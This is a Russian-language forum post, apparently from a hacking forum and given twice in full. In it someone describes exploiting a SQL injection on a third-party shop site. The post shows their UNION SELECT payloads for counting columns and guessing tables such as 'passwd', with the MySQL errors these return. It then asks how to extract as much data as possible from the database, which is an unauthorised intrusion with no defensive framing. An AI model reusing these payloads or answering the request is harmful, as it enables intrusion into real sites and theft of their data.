Здравствуйте. Думаю хоть тут мне помогут просто разобраться.
нашел sql-inj
www.sss.com/info.php?id=2244 - нормальный
www.sss.com/info.php?id=2242+2 -проверка на sql
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2 AND ptf.products_extra_fields_id='8'' at line 1
SELECT pef.products_extra_fields_name as name, ptf.products_extra_fields_value as value FROM products_extra_fields pef LEFT JOIN products_to_products_extra_fields ptf ON ptf.products_extra_fields_id=pef.products_extra_fields_id WHERE ptf.products_id=2242 2 AND ptf.products_extra_fields_id='8'
начинаю подбирать столбцы :
www.sss.com/info.php?id=2244 union select 1/*
вижу:
1222 - The used SELECT statements have a different number of columns
SELECT pef.products_extra_fields_name as name, ptf.products_extra_fields_value as value FROM products_extra_fields pef LEFT JOIN products_to_products_extra_fields ptf ON ptf.products_extra_fields_id=pef.products_extra_fields_id WHERE ptf.products_id=2244 union select 1/* AND ptf.products_extra_fields_id='8'
делаю такой запрос:
www.sss.com/info.php?id=2244 union select 1,1/*
и вижу истинное значение без ошибки.
начинаю брутить таблицы :
www.sss.com/info.php?id=2244 union select 1,1 from passwd/*
www.sss.com/info.php?id=2244 union select 1,1 from id/* и тд.
1146 - Table 'bluestri_bluestripephoto.passwd' doesn't exist
SELECT pef.products_extra_fields_name as name, ptf.products_extra_fields_value as value FROM products_extra_fields pef LEFT JOIN products_to_products_extra_fields ptf ON ptf.products_extra_fields_id=pef.products_extra_fields_id WHERE ptf.products_id=2244 union select 1,1 from passwd/* AND ptf.products_extra_fields_id='8'
и тд.
как можно вытащить как можно больше инфы из БД?
Как устанавливать имена таблиц? или имя таблицы из которой происходит первоначальная выборка данных?
Помогите с путе-водителем (=
всё таки как угдать БД в этом случие.
нашел sql-inj
www.sss.com/info.php?id=2244 - нормальный
www.sss.com/info.php?id=2242+2 -проверка на sql
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2 AND ptf.products_extra_fields_id='8'' at line 1
SELECT pef.products_extra_fields_name as name, ptf.products_extra_fields_value as value FROM products_extra_fields pef LEFT JOIN products_to_products_extra_fields ptf ON ptf.products_extra_fields_id=pef.products_extra_fields_id WHERE ptf.products_id=2242 2 AND ptf.products_extra_fields_id='8'
начинаю подбирать столбцы :
www.sss.com/info.php?id=2244 union select 1/*
вижу:
1222 - The used SELECT statements have a different number of columns
SELECT pef.products_extra_fields_name as name, ptf.products_extra_fields_value as value FROM products_extra_fields pef LEFT JOIN products_to_products_extra_fields ptf ON ptf.products_extra_fields_id=pef.products_extra_fields_id WHERE ptf.products_id=2244 union select 1/* AND ptf.products_extra_fields_id='8'
делаю такой запрос:
www.sss.com/info.php?id=2244 union select 1,1/*
и вижу истинное значение без ошибки.
начинаю брутить таблицы :
www.sss.com/info.php?id=2244 union select 1,1 from passwd/*
www.sss.com/info.php?id=2244 union select 1,1 from id/* и тд.
1146 - Table 'bluestri_bluestripephoto.passwd' doesn't exist
SELECT pef.products_extra_fields_name as name, ptf.products_extra_fields_value as value FROM products_extra_fields pef LEFT JOIN products_to_products_extra_fields ptf ON ptf.products_extra_fields_id=pef.products_extra_fields_id WHERE ptf.products_id=2244 union select 1,1 from passwd/* AND ptf.products_extra_fields_id='8'
и тд.
как можно вытащить как можно больше инфы из БД?
Как устанавливать имена таблиц? или имя таблицы из которой происходит первоначальная выборка данных?
Помогите с путе-водителем (=
всё таки как угдать БД в этом случие.